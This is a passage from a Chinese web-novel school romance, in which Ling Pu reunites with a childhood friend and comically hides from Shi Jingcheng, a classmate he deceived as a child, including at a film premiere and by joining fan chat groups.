好在这是新学校,几乎没什么人认识他。要是在之前的学校,指不定会被程益添他们提多久。 他在心里朝好处想。”欸,是你?“ 忽然,听到一个问句,凌蒲心中一惊。 成深野揣兜路过,望着换风格的凌蒲,仔细打量,显然对他还是充满好奇之心。 凌蒲抬头。 恍惚间又出现了昨天那张照片,眉目间实在是相似。但要说差别也挺大,并不敢贸然相认。 何况那时候大家都丁点大,说不准人家当作黑历史呢。 成深野正打着电话,对那端说:“好吧,不来就不来。我手机快没电了,先不说了。” 挂了之后,望着凌蒲吹过的发型,露出的清晰眉目让之前那种浅淡的熟悉感加深。 “” 两人沉默对视。 成深野岔开话题:“原来你是这个班级的,我去那边转转。” 凌蒲朝他笑笑:“好。” “不过你在这里站着是干什么的?”成深野顺口。 “随便站站。” 等成深野走之后,凌蒲蜷了蜷手指,问赵德致:“班长,要从头站到尾吗?” 赵德致忙着抖塑料袋:“可以了,现在已经有很多人了,你也去玩一下吧。多亏有你。” 凌蒲如蒙大赦,前去溜达。 整个场地比他想象的还要大很多,食物的种类也不少,有穿成串的烤肉,炸好的鸡柳,甚至连饮料的机器都有,果汁如同瀑布般缓缓流淌。 “同学同学,来买一个吗?” 有人立刻锁定目标顾客。 凌蒲犹豫,掏出手机扫码。 一会儿功夫,左手橙汁,右手薯条,心情开朗起来。在其中悠哉乱窜,时间在不知不觉中飞逝。 忽然看到前面围成一个小团, “真没电了,充电宝有不?” 似乎是发生了买卖纠纷。 凌蒲挤进去,发现主人公之一竟然是刚刚那位。 “没有充电宝,你得付完再走,听说你没诚信。”卖东西的同学不让人走。 “听谁说的?” “郝彩。她是我们班的,现在没在这儿。” “”成深野真是觉得世界太小,“怎么没诚信,我做人最诚信。要不手机押你这儿,我回去拿充电宝。” “不要你手机。” 郝彩临走之前叮嘱过,如果看到成深野了要帮她拖住。 “那我不买了呢?” “也不行。” “好吧,那我不走了。” “我来吧。”围观的凌蒲没听明白,认为很小一件事儿,他把烤肠薯条合并到饮料那只手,用手机扫码,替成深野付了。 “你管什么闲事儿呢?”卖东西的似乎还有点不高兴。 凌蒲把另一个摊子刚买的糖塞过去两颗:“以和为贵,不要生气。” 对方看着凌蒲,愣了愣,有点讪讪。 “这什么啊?” “水蜜桃味的。”凌蒲笑了一下。 脱身的成深野对凌蒲十分感激。 正要说什么,看到对方吃薯条,脸颊鼓鼓的样子,更觉熟悉。 “你家在哪?”成深野问他。 凌蒲报了个小区名字,很普通的非中心住宅,非富非贵。 成深野沉思。 “先加个联系方式吧,我把钱转你。”成深野说,“手机没电了,你把号码告诉我一下。” “不用不用。” “必须得加。”成深野强烈要求。 他探过头,看着凌蒲账号名称上那个图案,微微一愣。绿绿的,三角形状的标志,让一切远古回忆涌上心头。 当年那个电话手表上,也是同样的图标昵称。 “如果你不会打字的话,就这样备注,很方便。” 跨越多年的热心话语仿佛重新响彻在耳边。 圆圆白白的小脸,房间内友好温暖的鼓励,在他家里躺着的勋章,还有那句曾经困扰他很久的—— 特儿。 他抬起头,描摹眼前凌蒲的五官:“粽粽?” 凌蒲听到自己的小名,验证猜想,看了会儿成深野,诸多回忆中逐渐复活。 他也并没有太多生疏地一笑:“特儿。” 两人顺利相认。 “你当年到底哪儿去了!”成深野笑道,揽住他的肩膀,“给你发无数消息怎么不回呢?” “当时生病了,病好就搬家了。”凌蒲解释。 成深野没想到真的能再遇到,伸手捏了捏凌蒲的脸,看着这双熟悉的大眼睛:“太想念你了。” 他仍觉意犹未尽,拥抱。 “现在知道我叫什么了不?”成深野完成小时候未竟的心愿,“叫声听听,Dexter。” 凌蒲满足他:“Dexter.” 经过十多年的学习,英文已经变得相当标准。 成深野哈哈一笑,愉快地找不到北。 多年没见,虽然没有太多话题,但气氛并不算太生疏。 聊了几句,成深野忽然想到什么,脸色微变:“你见过Zev没?” “Zev?” “时璟承啊。” “见过,但都不认识了,毕竟当时也不熟。”凌蒲回答。 “怎么会?你们不熟?”成深野左右看看,示意他低声,要是被时璟承听到,还不得气疯了。 凌蒲把手里的薯条咬了一口,才想起来问成深野:“吃不?” 他递过袋子一摇,发现里面已经空了。 望着手里这根:“分一半给你。” “你吃吧。” 成深野看着凌蒲单纯的神情,欲言又止好几次,还是忍不住把他拉到隐蔽处。 “你当年到底怎么骗Zev了?” “嗯?” 凌蒲嚼嚼嚼:“我骗他什么了?” “不会忘了吧?”成深野神色凝重,仔细观察凌蒲的表情,还真没看出几分异样。 凌蒲不解,想到昨天晚上看那些照片之后得出的结论:“我当时不是和他不熟吗?” “那是不熟吗?你俩都快黏在一起了,每次我想和你说话的时候,时璟承就瞪我。”成深野想起来依然咬牙,“我不知道真相。不过我建议你在时璟承发现你之前仔细回忆一下发生了什么,不要死不瞑目。” 望着一无所知如同小羊羔似的凌蒲,成深野在心中点蜡。 他了解时璟承,嘴上说着不在意,但唯一在意的就是多年前那场欺骗,酝酿了十几年,指不定做出什么事来。 但他不好多说,也只是点到为止:“算了,安全起见我还是先不加你。回去充电了。” 最后再瞅了眼凌蒲,还是想小时候一样,看起来像一个捏捏。 凌蒲一脸莫名其妙,把手里的薯条袋子扔进垃圾桶,回到他的班级里去。 正好有人想买他的闲置物品,立刻投入地议价。 天色渐晚,这场迟到的活动终于进入尾声,四处响起大甩卖的呼声,几乎开始免费赠送。 而赵德致和同学们拿着厚厚的票子,心满意足。 “各位同学,请停止交易。”全校广播响起来,宣告结束。 活动的目的还是为了捐赠善款,现在需要举办一个小小的闭幕式,所有人坐在原地听广播里的场面话。 凌蒲这才有空琢磨成深野的话,竟然已经严重到死不瞑目了吗。 到底是什么意思。 “多亏了你凌蒲,我们班这回的营业额是全校第二!”赵德致说道。 身边一片欢呼庆祝,似乎是广播里刚刚播报了排名。 “没有没有,还是大家厉害。”凌蒲谦虚。 赵德致起身去光荣地捐出所得,前三名由校长亲自颁发证书。这是个不小的荣誉,在这个年纪一点小小的肯定就可以雀跃很久。 “晚上请你吃个饭吧,庆祝一下。”回来的赵德致大手一挥,“大家能来的都来。” 这个学校是小班制,每个班就三十来个人,听到号召纷纷响应。 凌蒲摇头:“别破费了,应该做的。” 宋昭把他一揽:“不用和班长客气,他有钱。” “主角就是你,凌蒲你不能不去,你不去的话班长不请了。” 盛情难却,凌蒲于是给凌逸飞打了个电话,和同学一起到对面的烤串店聚餐。 能够开在学校对面的店必然是口碑卓越,不一会儿功夫,老板就端上来各色美味的烤串。大块的羊肉串,烤得treetree的五花肉,还有撒上冰糖粒的焦黄面包片。 赵德致一挥手,给凌蒲两串滋滋冒油的羊肉串。 “谢谢。”凌蒲接过来,咬一口,竖起大拇指。 大家一边吃一边聊,气氛融洽。 “来瓶啤酒!”赵德致豪迈。 凌蒲吃惊。 “没事,他九岁的时候就能吹一瓶了。”有人告诉他。 “这么厉害。”凌蒲夸道。 聊着聊着,无非又拐到八卦上来。 苏颜杉有点惆怅:“可惜今天时璟承没出现,没看到他。” “你暗恋时璟承吗?”凌蒲问。 他想起了之前在走廊里的那一幕,看上去时璟承在感情上面不是个很纯净的人,6他不希望苏颜杉落入魔爪。 几个女生笑起来。 “你真好玩,瞻仰和欣赏而已啊,怎么会真的朝那方面想。”苏颜杉爽朗道,“就和追星差不多,你听过那个小道消息没有,他是谁的弟弟。” 凌蒲点头。 宋昭拉过凌蒲:“所以说和我们不一样。不过你今天是认识那个国际部的人吗,时璟承的朋友,之前没看你提过。” “其实之前不太认识。”凌蒲说。 只是小时候认识。 “我和你说那些,就是有次他朋友和时璟承在食堂说的时候被我们同学听到了。真真切切,说如果再遇到小时候骗他的那个人,要找人打他呢。”宋昭说。 有同学压低声音说道:“昨天我听说,时少开着他家劳斯莱斯去北城卡丁车场,肯定是有人惹到他了,以前一向很低调的。” “谁这么大的胆子。” “” 一顿饭凌蒲吃得心不在焉。 跑回家之后立刻翻箱倒柜,重新把昨天那个盒子翻出来,取出光盘。 犹豫一下。 来到书房,打开台式电脑,缓缓地插入光盘。 第64章 凌蒲点开文件夹。 果然,里面是完整的节目,从第一期到最后一期都有,排列得整整齐齐,等待被观看。 他想了想,起身去房间拿一袋饼干回来,”哗啦”撕开,塞了块到嘴里,从第一期开始,双击。 画面出现了十多年前的他。 圆圆小小的一个,实在是很呆。 正躺在床上不起来,周围围了一圈人,甚至屏幕上还保留着哈哈哈的弹幕。 “” 凌蒲的耳朵开始发烫,握着鼠标的手指蜷了蜷,指关节微微泛红,为什么会留下这种东西。 开倍速。 等看到幼年体时璟承的时候就释怀了,满身写着酷炫狂霸拽,似乎要更算对方的黑历史。 难怪现在已经全网搜不到这部综艺,钱芷刻成光盘还挺有先见之明。 寂静的夜晚寂静的世界,凌蒲独自对着电脑沉思。 电脑里不断传来声音,花花绿绿的光照在脸上,凌蒲的表情由羞耻转向逐渐麻木。 “我叫粽粽,因为在端午节出生而且白白胖胖哦。” “牵牵,小天哥哥。” “抱抱。” 而电脑里时璟承的心情一眼就能看出来,冷酷,不屑,嘲讽。 和现在的凌蒲差不多。 分明印象里自己小时候有礼貌,讲分寸,不卑不亢,深受好评,怎么这里面展现出来的完全不同。 黏着时璟承”小天哥哥“长,”小天哥哥“短,人家都不理他,简直像个单方面的迷你舔狗。 等等—— 为什么是小天哥哥。 凌蒲把进度条回拉,都没有找到任何关于时璟承和小天之间的任何联系,毫无蛛丝马迹。 他打开网页搜索,也干净得像是被清理过。 回忆。 “凌蒲,怎么还不睡觉?”钱芷穿着睡衣端了杯牛奶过来,催促道。 凌蒲接过牛奶一饮而尽,指着屏幕问:”妈,我和他关系很好吗?” 钱芷看了眼:“这不就是顾乾的弟弟吗?看后来节目感觉挺好的,不过结束之后就没联系了。” 这很正常,他们是两个世界的人,能有联系才怪。 “那就好,下了节目没提过吧。”凌蒲吊起来的心放下去一点儿。 钱芷收过牛奶杯,回忆起什么似地笑了笑:“没。那时候你太小了,整天脑子里不知道想什么。你发烧那天晚上满嘴都念叨‘顾傲天原谅我’。快点睡觉吧,怎么突然看起这个。” 她转身离开。 凌蒲独自留在电脑前凌乱。 顾傲天。小天。 他好像想起来了一点。 当时的话语仿佛回响在耳边:“其实我是骗你的,只是因为一个梦。” “我们不要再联系了。” “” 隐隐约约的片段突然闪现,凌蒲震惊。 他好像确实骗过时璟承,但也不至于被记这么久吧,看时璟承在节目里也不太爱搭理他的样子。 兴许成深野说的是小月亮。 他望着里面一共四位嘉宾,寄托希望。 思绪开始插上想象的翅膀。美丽的小月亮在多年前欺骗时璟承之后落跑,这些年时璟承由爱生恨,又由恨生爱 这个词好像叫白月光。 白月光,怎么也这么熟悉。 望着屏幕里的画面,凌蒲不断唤醒一些碎片回忆。 拼拼凑凑,零零碎碎。 他抓了把头发,大事不妙。 第二天,顶着一双黑眼圈去的学校。 “怎么了这是?”宋昭凑过来问。 本来凌蒲皮肤就白,黑眼圈在上面特别明显。 “没事。” 凌蒲昏昏欲睡。 其实他只看了不到一期就被钱芷赶回去睡觉,但在床上辗转反侧,一直没睡着。 “打起精神!” 赵佳莹走进教室,在讲台上敲桌子,“都快月考了,有的同学还有闲工夫讲话。我们月考是大考,和综评以及升班挂钩。虽然感情上舍不得大家,但依然希望所有同学都能向上走。” “更何况每次阶段性考试都是对这段时间学习状态的检验是不是,凌蒲?” 宋昭戳了凌蒲一下,凌蒲睁眼坐直。 “你刚转学过来,这次相当于你的分班考试了,认真对待。” 凌蒲连连点头。 但其实没有什么太大的抱负,老老实实听课,老老实实完成作业。 中午放学连食堂都没顾得上去,背上小书包,直达对面的国际部。 整个国际部人不算太多,稍微穿梭了会儿,问了几个人,就找到成深野。 “你怎么来了?”成深野和旁边的同学说了声,朝凌蒲走过来。 “找你。” “这里人多眼杂,去那边。”成深野揽着他走,仿佛神秘接头。 凌蒲偏瘦,但摸起来软软的,身上穿着纯棉短袖,手感很好。主要懒洋洋得无所谓,即使没那么熟也莫名想搭一下。 等成深野意识到的时候手已经放上了。 飞速拿开,左右瞅瞅,把他带到隐蔽的地方。 “没吃呢吧。”成深野问,“待会儿给你打包份我们这的饭。” “谢谢。昨天我好像想起来了一些——”凌蒲试图云淡风轻,但还是不死心地确认,“真是我吗?” “是的。你可以现在开始锻炼身体。” 成深野给他提建议。 凌蒲对自己有几斤几两十分有数,认为不可行。 “道歉有用吗?”他积极挣扎。 “你觉得时璟承是会接受道歉的人吗?” “我不知道呀,我和他不认识的。” “我去,你别再说这种话。”成深野觉得凌蒲在时璟承的雷区上疯狂蹦迪,要是两人见面之后来上这么一句,难以想象时璟承听到之后会如何。 凌蒲问关键:“他现在认出我了吗?” “肯定没啊,不然你还能站在这里?” 成深野打包票。 拿着从国际部食堂打包回来的饭菜走在路上,凌蒲忧心忡忡。 这真是太坏了。才刚转学就遇到这样的事情,他一向与人为善,不曾想小时候竟然结下了如此大的仇怨。 如同宋昭所说,他对时璟承如同一只小蚂蚁,踩他不过是顺脚的事儿。 要不转学算了。 凌蒲低头沉思。 一路走到食堂,打开包装盒,心不在焉地吃完,也忘了品什么味道。 余光瞄到有个疑似时璟承的身影,他立刻偏头,用后脑勺掩护自己。 再一转身,已经不见了。 虚惊一场。 其实上回面对面都没认出来,毕竟都已经过去这么多年了。 他才刚从别的地方转过来,手续会很麻烦,最近凌逸飞很忙,经常加班。 只要谨慎一点,别再被看到。他们既不是一个班的也不是一个楼层的,苟过这一年,应该没事。 凌蒲说服自己。 * 终于捱到周六,凌蒲难得睡了个饱觉。 明亮的阳光从窗帘缝隙间穿梭,在五官上跃动,轻柔地把人唤醒。 凌蒲揉着眼睛出来,就看到钱芷穿了件孔雀蓝色的长裙,正对着镜子搭首饰。 “醒了粽粽?”钱芷看起来心情很好,“你看妈妈这条裙子搭这条白的项链,还是这条蓝色的好?” 凌蒲对这些毫无研究,伸手一指:“白色亮一点,蓝色统一一点。” “怎么和你爸一样,竟说没用的话。家里什么时候能多个有审美的人。” 钱芷掠过他,继续比较两条项链,哼着小曲。 凌蒲:“” “妈,我是觉得你戴哪条都好看。”他补充。 “这还差不多。你也收拾收拾,下午别穿卡通t恤了。” “那不是卡通t恤,每个人物都是有名字的。”凌蒲坚持,同时疑惑,“今天下午要去哪儿?” “你忘了吗?去看顾乾的新电影。这次是路演,顾乾本人会来哦。” 凌逸飞也从卧室出来,拿了件西装比划:“票特难抢,听你妈的穿好看点,别穿卡通t恤了,和爸学学。” “那不是算了。” 凌蒲回屋写作业。 下午钱芷亲自动手,给儿子搭配一身叠穿穿搭,黑色纯色T恤搭腰间的红色格子衬衫,在腰两边颇有设计感地垂落,显得腿很长,脖子上还系了块红黑相间的方巾。 用夹板把刘海夹翘,分层烫出弧度,垂落在眉毛间。 配上抗打的五官,简直改头换面。 凌蒲不自在地扯了下脖子上的方巾:“妈,一定要这么潮吗?” “这样多阳光帅气,走吧!” 钱芷十分满意,带着一家前往电影院。 凌蒲看着电影票上的第二排字样,心想他爸真是下血本了。 “爸,我想吃爆米花。”工具人凌蒲提出唯一的要求。 “行,来个大桶。再配个套餐里的可乐。” 他爸还是爱他的。 凌蒲抱着爆米花和可乐,跟在凌逸飞和钱芷后面,已然感到满足。 他对明星没什么特别感触,安静地边吃边欣赏电影。 确实质量极高,符合顾乾一向的水平,中间反转再反转,凌蒲看得投入,手上一用力,爆米花“嗖”地飞起,凌蒲用桶一接,准确落下。 喝一口可乐压压惊。 电影放完之后,灯“唰”地亮起。 凌蒲这才发现参加路演的明星竟然就坐在他们前面,结束之后就上了台。 还真是顾乾。 记忆中的形象早已模糊,眼前这位经过一些岁月沉淀之后,带着成熟的帅气,五官近乎完美。 但要是硬挑骨头,凌蒲觉得气质有点太冷了,像是冰雕。 稍微加点光就更好。 他盯着台上发言的人,脑海里在底稿上进行小小勾画,涂涂改改,按照自己所构想的。 最终,脑海里浮现出比较满意的人像,竟然有点像时璟承。 “”他用橡皮全部擦除。 顾乾发言完之后导演发言,导演发言之后配角发言,凌蒲逐渐昏昏欲睡。 不知过了多久,主持人道: “感谢各位。除此之外,我们还有一位特殊的观众来到现场,就是顾乾老师您的弟弟。虽然他不愿意上台,但依然会默默支持自己哥哥的所有作品,就像现在和观众们坐一起看电影一样” 凌蒲惊醒。 大事不妙,没想到现在时璟承竟然和他坐在同一个空间里。 可怕。 他从拿到爆米花之后全程都在关注爆米花,也没留心别的,还好没被看到。 “最后一个环节。”主持人说,“让我们挑选几位观众说一说观影的感受。麻烦摄像老师配合一下。” 后方的屏幕重新亮起,镜头对准观众席,开始扫过。 凌蒲缩了一点身子,但第二排实在是太显眼,无处躲藏。他飞速把方巾朝脑袋上一包,遮得严严实实。 镜头几乎怼着他扫过,落在钱芷身上。 画面里的钱芷优雅漂亮,妆容精致,主持人称赞道:“这位美丽的女士,请问你是和谁一起来看电影的?” “和我老公,还有我——” 钱芷朝旁边一瞥,镜头也跟着带了一下,只有一个红黑方格的方巾包住脑袋遮住脸,严丝合缝,一点空都不留。 “没有了。”钱芷微笑,“就和老公一起来的。” “这怎么还有个老太太?”坐在最后一排的成深野看着屏幕笑道。 他等电影放到一半用他爸的名义进来,就知道能在最后一排逮到时璟承。 时璟承没表情:“老太太穿这么潮?” “你是不是又和顾乾哥闹别扭了,网上说见面没打招呼。” “嗯。” “偷车钥匙和司机被发现了?” “不是。” 时璟承脸色不虞,因为顾乾不让他查人。 准确来说是把时璟承的话还给时璟承,督促他信守承诺,继续和资本主义划清界限。 本来让管家用三天时间去查凌蒲是不是小时候那个骗子,硬是被拦截了下来。 他早就知道管家和顾乾沆瀣一气。 时璟承盯着前方那个红黑格子方巾,翘起二郎腿,不查他也能知道。 第65章 等到散场,钱芷沉浸在互动的兴奋劲里,转头看到旁边还蒙着脑袋的儿子,笑容停滞,拍了一下。 “十几年了怎么都被没发现你竟然社恐?” 亏她今天还给凌蒲精心装扮一番,关键时刻掉链子。 凌蒲把方巾朝下拽了一点儿,露出一只眼睛,谨慎地问钱芷:“人走光了吗?” 大眼睛圆圆的,仿佛小马宝莉的45度俯拍,望着钱芷。 钱芷深吸一口气:“别逼我在这么快乐的日子里揍你。” 他硬被钱芷拽起来,走出电影院。倔强地用方巾遮住下半张脸,谨慎地观望。 眼神在大厅里顿住,吓得心脏都漏跳一拍。 只见门口的抓娃娃机处,一个挺拔的侧影站在那儿,穿了件颇具设计感的黑色外套,戴着口罩,正看着成深野夹娃娃。 凌蒲惊慌失措,把方巾又缠了两道,挂在耳朵上,眯起眼睛,准备蹑手蹑脚地绕行。”你是顾乾的弟弟吗?“ 忽然,有个疑似娱乐记者的人拦住去路,问他。 外形这么优越,保密措施这么好,他们立刻敏锐地锁定目标,希望能拍到顾乾弟弟来看顾乾电影的温馨一幕。 凌蒲连连摆手表示不是,同时疯狂示意小点声。 “弟弟真是很低调。为什么不把这份爱大声表达出来呢?”记者自顾自地开始提问。 凌蒲简直绝望,到底是什么眼神。 周围人纷纷驻足,眼看动静越来越大,娃娃机旁的那人似乎也听到,准备回头。 无奈之下,凌蒲拔腿就跑。 这一淳朴的方式让举着相机和话筒的媒体都没反应过来,没想到顾乾的弟弟如此—— 活泼。 他们试着想追,但早就没了踪影。 “” 凌蒲站在消防通道的小角落喘气,这对他来说是很大的运动量。 真倒霉。 他扯下方巾,头发已经摩擦得凌乱,被夹板固定过的发丝又不规则地支棱着,露出水雾蒙蒙的五官。 原地的记者面面相觑,只得对着镜头找补道:“看来真是和哥哥一样内敛含蓄,比较低调呢。” “你们认错人了,他是我的儿子。”钱芷终于找到空当告诉他们,“不是顾乾的弟弟。” 摄像一愣,检查手里录的视频,和野生娱乐记者面面相觑。 “删了算了,本来也没录到脸。”记者没好气。 “愚蠢。”目睹一切的时璟承评价。 他们看到外围绕着一圈又一圈,就知道肯定是认错人了。这种事屡见不鲜,网上流传着时璟承的n种长相版本。 “你们这兄弟情也算流量密码了。不过给导演蹭蹭也就算了,人都认不清的八卦记者还想分一杯羹。”成深野嗤道,手上淡定抓娃娃,“这个抓完就走吧,别围过来就麻烦。” 时璟承垂眸看他操作,不到一会儿略显不耐。 在成深野投完币之后上手,三下五除二地抓上来。 轻松丢给成深野。 “时璟承你是不是故意的,看着到强力爪了才上手。” 成深野不一定了解抓娃娃机,但他了解时璟承。 正无语着,忽然听身后有人叫道: “那有两个帅哥,里面有没有顾乾的弟弟?” 镜头立刻转过来。 时璟承没回头,径直就走。反应慢半拍的成深野瞬间被围住,只能默默地看着时璟承的背影远去。 这个商场时璟承来过很多次,类似场景屡见不鲜,轻车熟路地打开消防通道的门走进去,躲避后方的吵嚷。 * 凌蒲又迷路了。 他第一次来这个商场,不知道一通乱跑后跑到了哪里。 照理说消防通道就是每个商场通向洗手间的必经之路,然而走了挺久,顶上也没有指示牌,空空荡荡,早就找不到进来时的那扇门。 摸出手机,给钱芷发半天消息也没人回他。 估计是又拍照打卡去了。 他孤独地徘徊,揣着兜,扯下方巾,把叠穿的衬衫解开,顺手把上衣也扯出来。 还是宽松的黑色t恤穿起来舒服,气质重新变得懒懒散散,只有支棱的头发保存一点潮流的余韵。 悠悠地走了阵,终于听到阵隐约有阵闷闷的开关门声音。 仿佛在沙漠里听到水声,海面的浮木上听到轮船声,给人以强烈的希望。 但里面通道太长,他重新乱窜半天,还是一无所获。 索性原地蹲下,开了把泡泡龙小游戏,等待凌逸飞和钱芷回他。 发射的五彩泡泡“噔噔”地在屏幕上乱飞,轻松掉下来一串串泡泡,凌蒲在这游戏上的造诣已经登峰造极。 一局酣畅淋漓的对战结束,余光才发现身边不知什么时候站了一人。 太好了,只要是人都能问到出去的路。 喜悦涌上心间,凌蒲高兴得抬起头。 一顿。 和抱臂的时璟承对上视线,长得帅又会穿衣服,乍一看和商场奢侈品广告似的。 现在不是欣赏的时候,这人来的还不如是鬼。 凌蒲猛地继续低下头,扯过方巾遮住自己,胡乱地一扎。 露出凌乱的发顶。 “有什么事吗?”凌蒲一本正经地问。 时璟承看着这头偏浅的头发:“路过。看你玩游戏厉害。” 凌蒲觉得这个理由很有说服力,可信度也很高。 “谢谢。” 他依然低着脑袋。庆幸今天搞了个新潮的发型,和平常判若两人。 “你不出去?”时璟承问,想起上回这人在教学楼里也迷路。 “不了。我在这坐一会。” “哦,那我走了。” “好的好的。”凌蒲松口气,抬起头。 却见时璟承并没有走,依然站在原地。 不但如此,还忽然上前半步,俯身将重心放低,距离被瞬间拉近。 富有侵略性的眉目微微下压,从凌蒲的发梢看到鼻梁,宾至如归地上下扫荡,最后迎上错愕的视线: “有没有在哪见过你?” 眉毛挑了下,仔细看着凌蒲鼻梁一侧的小痣。 凌蒲睁圆双眼,屏住呼吸,一动也不敢动。 这鬼地方四周都是白墙,寂静无声,今天要是在这里被毁尸灭迹了都没人知道。 他连连摇头:“没有没有,怎么会。” 又补充道:“我有点大众脸。” 又带上点不标准的杭苏口音:“其实我是来旅游的,第一次进这么大的商场,一下子就没找到路。” 手上把红黑格子方巾偷偷展开一点,遮挡更大的面积,就剩一双眼睛扑棱扑棱,又解释:“流感了有点。” 时璟承重复:“来旅游的?难怪包着头巾,想必你们那民风淳朴。” “对对。” “穿得挺潮。”时璟承觉得凌蒲像被逼到角落的小猫小狗幼崽,如果再靠近就会吓晕过去,于是先直起身,“我以为我们在食堂见过。” 气息和热度撤去的一瞬间,凌蒲感到劫后余生。但听到对方后面那句话,僵了一下。 “你在哪上学?”时璟承问。 “呃就在学校里。” 凌蒲也站起来,发现自己的身高仅到对方的下巴。 毫无胜算,他重新把头低下,侧过脸。 时璟承垂眸,看到轻轻颤动的睫毛,他指尖无意识地抬起手表盘,转动手腕上的红绳。 “玩得愉快。” 声音没什么特别愉快的感觉,不过也小有兴味。 “直走左拐。贴广告纸的是一扇门。” 凌蒲望着对方远去的背影,暗自庆幸逃过一劫。 同时暗道自己也太不淡定,人家只是想起来在学校隐约见过。 他用手捂了捂发烫的脸,很不擅长说谎话。 在原地缓了阵,顺着直走左拐,竟然真的顺利找到了门。 打开一条缝,左右张望,迈出来。 商场人声鼎沸,忽然很有安全感。 手机“嗡”“嗡”几声连续响起,打开,倒不是钱芷和凌逸飞,而是虽然远在他乡依然牵挂他的好兄弟。 方才凌蒲出不去的时候也和群聊分享了一下。 【程益添:才看到,出来了吗】 【/粽子:嗯。】 【程益添:那就好。不过你怎么会被困在消防通道里?】 【/粽子:说来话长。问你个问题,如果你和一个杀手硬要待在一个学校里,如果他认出你就会鲨掉你,你会怎么隐藏身份啊】 【程益添:他有我悬赏照片不?】 程益添和凌蒲脑回路契合,不废话,很快代入角色。 【/粽子:呃,可能是在三岁的时候看过你两岁的样子。】 【程益添:那怕个球,神童都记不得吧】 【/粽子:假如你骗过他呢,说不定把照片挂在墙上当靶子,每天扔一个飞镖那种】 【程益添:这倒是得警觉点,不是有人能通过三岁照片画出长大的样子吗。戴个面罩呗。】 【/粽子:你忘了情景设定了,是学校!】 【程益添:一直躲着吧,不然总会被鲨掉的,不过不能坐以待毙,最好主动掌握对方行踪。怎么了,你遇到杀手了?】 【/粽子:】 比杀手还要可怕一万倍。 * 周一上学,凌蒲戴了顶鸭舌帽,和一个口罩。 鸭舌帽边缘翘起几根不服帖的头发,落在眼睫前,有效地遮挡住一点标志性的眼睛。 “我去,原来刚刚在我前面的是你啊。” 一直到凌蒲坐到位置上,摘下帽子口罩,宋昭才敢认。 他一拍凌蒲:“这是什么打扮?” “有点怕晒。”凌蒲说。 苏颜杉跟着回过头,瞅了两眼:“这打扮挺酷的。凌蒲就该多打扮打扮,别穿大白t了,简直暴殄天物。” 凌蒲炯炯的目光放在她身上。 苏颜杉一愣。 “那天吃烧烤的时候,你们说时璟承在我们学校有粉丝群是吗?”凌蒲问她。 “啊,有是有,倒也不算粉丝群,就是没事讨论一下好玩。” “会分享时璟承的行踪吗?” 苏颜杉被他正义的样子惊住:“就是偶遇的时候会说一下,确实不太好,但时璟承发现好几次都没说什么,应该是不在意的” “请拉我进群。”凌蒲诚恳。 他现在需要了解时璟承这个人,知己知彼,方能百战不殆。 掏出精心准备的新笔记本,凌蒲在上面写下了“时璟承”三个字。 性别男,目测身高—— 凌蒲用自己的身高加上周六的身高差,精准估算,大概一八五左右。 又把英文名也写上,再顺手画一个小小的Q版图像,眉毛竖着画,显得冷酷无情。 基本的个人资料完善好,提笔继续。 【疑似12:00下课后去食堂】 【应对措施:12:30去食堂】 “食堂几点关门?”他转头问宋昭。 宋昭随口道:“十二点二十就没什么饭了。” 凌蒲皱眉,想不到这么难吃的食堂也如此抢手。 饭是不能不吃的,他杠掉应对措施。 沉思。 第66章 苏颜杉看向凌蒲的目光充满怀疑。 “你什么目的?”苏颜杉谨慎道。 “我想要以他作为我的行动标杆。” 凌蒲真诚地陈述进群理由,希望以此获得进群资格。 苏颜杉仔细打量,最终在他充满渴望的眼神中点了头。 “感谢感谢。”凌蒲很高兴自己通过了审核。 然而放学摸出手机一看,竟然多了6个群聊。 分别是【时璟承全国后援会1】 【时璟承全国后援会2】 【时璟承全国后援会6】 每个群里大约五六十人,乍看规模可怖,但点开发现都是重复的。 “为什么有这么多群?” “凑人头好玩啊,里面还有不少小号。不过都是我们学校的,像角色扮演一样。”苏颜杉作为管理,希望更多人入群。 “原来如此。” 看来审核并不是很严格。凌蒲在里面潜水。 潜水一整天,饭都没有敢去吃,坐在教室里生啃面包,挥毫疾书。很快,本子被填充了满满好几页,做笔记都没有这样认真。 他已经做好了万全准备,自信满满。 合上本子锁上密码锁,把四个数字全部拨乱。 放空会儿,才想起来摸出手机打电话:“爸,今晚想吃烤鸭。” “就烤鸭?”凌逸飞问,“烤鸭的亲戚鸡腿吃不吃?” “可。”凌蒲批准。 同时看了眼时间,在手里转了两圈手机,再看了一眼时间,出发。 经过周密的观察与计算,他确信时璟承百分之一百二地已经离开,于是坦荡地走出教学楼,和鸭舌帽还有口罩一起。 敌在明他在暗,简直是如有神助。 凌蒲在某短视频软件给程益添分享了一个视频,一只大鱼在下面游,而一只被当作饲料喂进去的小鱼始终在大鱼上方,同时行进同时转身。 据鱼主人说,都快一个星期了还没被发现。 【/粽子:就这样卡视野/赞】 他大步走在路上,随身携带着宝贝本子。 * 下午有体育课。 天气从中午开始就不大好,云是灰色的,仿佛一拧就会出水。 “一定别下雨啊。” “赵sir已放话,下雨必被他占。” “撑住啊,云。” 班里响起一片祈祷之声。 整节化学课频频看窗外,最后化学老师实在忍无可忍,“唰”地一下把教室窗帘全拉死。 他一走出教室,班长赵德致神情凝重,走到窗前。 在所有人的目光之下,伸手,攥紧窗帘,犹豫,“哗”拉开。 只见依然是刚才那副图景,地面干干,并没有雨滴落下。 响起一片欢呼之声,出发去体育课。 因为化学课的上课地点在实验楼,所以现在大家从实验楼直接拿着书本去操场。 “走了凌蒲!” 旁边两个学生拍拍他的肩膀。 “好。” 凌蒲用化学书夹着他的宝贝本儿,跟着人潮一块。 这是他来这儿的第一节体育课,比较期待。 不过在即将迈进露天空间的一刻,忽然顿了顿,找借口躲进厕所,偷摸儿拿出手机,看一眼。 点开群聊,里面每到课间就会有人发言。 【今天哪位姐妹和时璟承一节体育课啊,记得出图】 【颜衫吧,包放心的】 【记得隐蔽点啊,上回就被看到了】 【虽然但是,上次网球场那个和镜头对视是真神图,也算牺牲得不亏】 【是啊,解锁了新服装网球服,时璟承在学校就像把校服焊在身上似的】 【除了颜杉之外在的同学记得也拍,不许每次都白嫖哦】 有被点到的凌蒲:“。” 先别管白嫖不白嫖,太恐怖了。 体育课!没有任何遮挡地站在没有任何遮挡的操场上。 搞不好两个班就会直接面对面,连跑都跑不掉。 他沉思一下,铤而走险,打开水龙头,用冷水拍了拍脸。 出去正好遇到走在后头的宋昭,宋昭揽过他:“bro,怎么这么慢。” “你看我有没有一点虚弱?” 凌蒲问宋昭。 